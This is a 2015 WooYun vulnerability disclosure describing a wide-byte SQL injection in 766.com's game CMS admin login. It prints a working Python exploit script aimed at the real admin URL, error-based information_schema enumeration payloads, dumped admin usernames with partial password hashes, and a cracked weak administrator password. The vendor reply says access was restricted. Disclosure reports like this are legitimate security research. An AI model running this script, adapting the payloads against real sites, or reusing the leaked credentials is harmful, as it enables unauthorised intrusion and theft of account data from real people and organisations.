当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093925

漏洞标题:766游戏某后台注入

相关厂商:766.com

漏洞作者: Power

提交时间:2015-01-26 09:34

修复时间:2015-03-12 09:36

公开时间:2015-03-12 09:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-26: 细节已通知厂商并且等待厂商处理中
2015-01-26: 厂商已经确认,细节仅向厂商公开
2015-02-05: 细节向核心白帽子及相关领域专家公开
2015-02-15: 细节向普通白帽子公开
2015-02-25: 细节向实习白帽子公开
2015-03-12: 细节向公众公开

简要描述:

能不能不忽略?能不能确认?能不能给点rank?

详细说明:

后台注入,宽字节,自己写个了很搓的脚本,随便跑了下,22为加密,未破解,弱口令爆破得到一管理密码。
后台地址:http://cms.766.com/admin/webgame/index.php?c=admin&m=checklogin

ssd.JPG


其中一段脚本如下:

#encoding=utf-8
import re
import urllib2
headers = {
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
for i in range(0,30):
p="loginsubmit=&pwd=1&username="
p1=' and (SELECT 1 FROM cmsware766_site_rank_admin WHERE updatexml(1,(SELECT CONCAT(0x5b,username,0x3a,password,0x5d) FROM cmsware766_site_rank_admin limit %d,1),1))' %(i)
pa="%df'"
pb="%23"
param1=p + pa + p1 +pb+pa
req=urllib2.Request(url="http://cms.766.com/admin/webgame/index.php?c=admin&m=checklogin",data=param1,headers=headers)
f=urllib2.urlopen(req,timeout=5)
data=f.read()
r=re.compile(r'\[.*?\'')
match=r.findall(data)
if match:
print match
else:
print '.',


因为开启了gpc所以不能够传入单引号,但是我可以这样查询到所有的库。

SELECT 1 FROM cmsware766_site_rank_admin WHERE updatexml(1,concat(0x7e,(SELECT concat(table_schema) FROM information_schema.tables WHERE table_schema=database() limit 0,1


跑一下去下重就ok了,如下
一共两个库,就搞下,当前库吧,所有当前库表跑出。

and  (SELECT 1 FROM cmsware766_site_rank_admin WHERE updatexml(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1  )),0))


一共20个表

ffsd.JPG


所有表中的字段我可以这样查询。

select column_name from information_schema.columns limit %d,1


一共556个字段应该没错吧?

ccs.JPG


上面的payload 加个python 跑下就ok了,又由于在information_schema.columns中的columns字段中,相邻的字段都是一个表中的,所以根据表和字段,很容易猜到哪个字段对应哪个表,来看数据吧
表cmsware766_site_rank_admin中的数据如下:

["[chenmintuo:0f4137ed1502b5045d60'"]
["[iori:024a00fb23cc68fa6012b521ce'"]
["[huangchao:e10adc3949ba59abbe56e'"]
["[renee:0446e867f4276f3919809c647'"]
["[snowlian:2b40a78cace8dd1e96080d'"]
["[zl1980:a70c368ac98069f47b66cf3e'"]
["[guanfanhao:6846860684f05029abcc'"]
["[xuewen47:e6d0084aa5b130083e1fa7'"]


我靠,22位加密,不是md5啊,上爆破。
最后弱密码一枚还是管理员:huangchao:123456
后台如下

zzd.JPG


后台上传各种测试未突破

漏洞证明:

zzd.JPG

修复方案:

宽字节注入,如果这个地方存在的话,估计你们这套代码系统里面N多问题了,怎么修复,百度吧。

版权声明:转载请注明来源 Power@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-01-26 16:04

厂商回复:

已屏蔽对外访问的权限,感谢提醒!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-26 16:10 | Power ( 实习白帽子 | Rank:54 漏洞数:22 | 还需要等待.........)

    我靠,能不能不抠门,你们小厂商,你给我5 我到手才2啊.....等我再放个大招....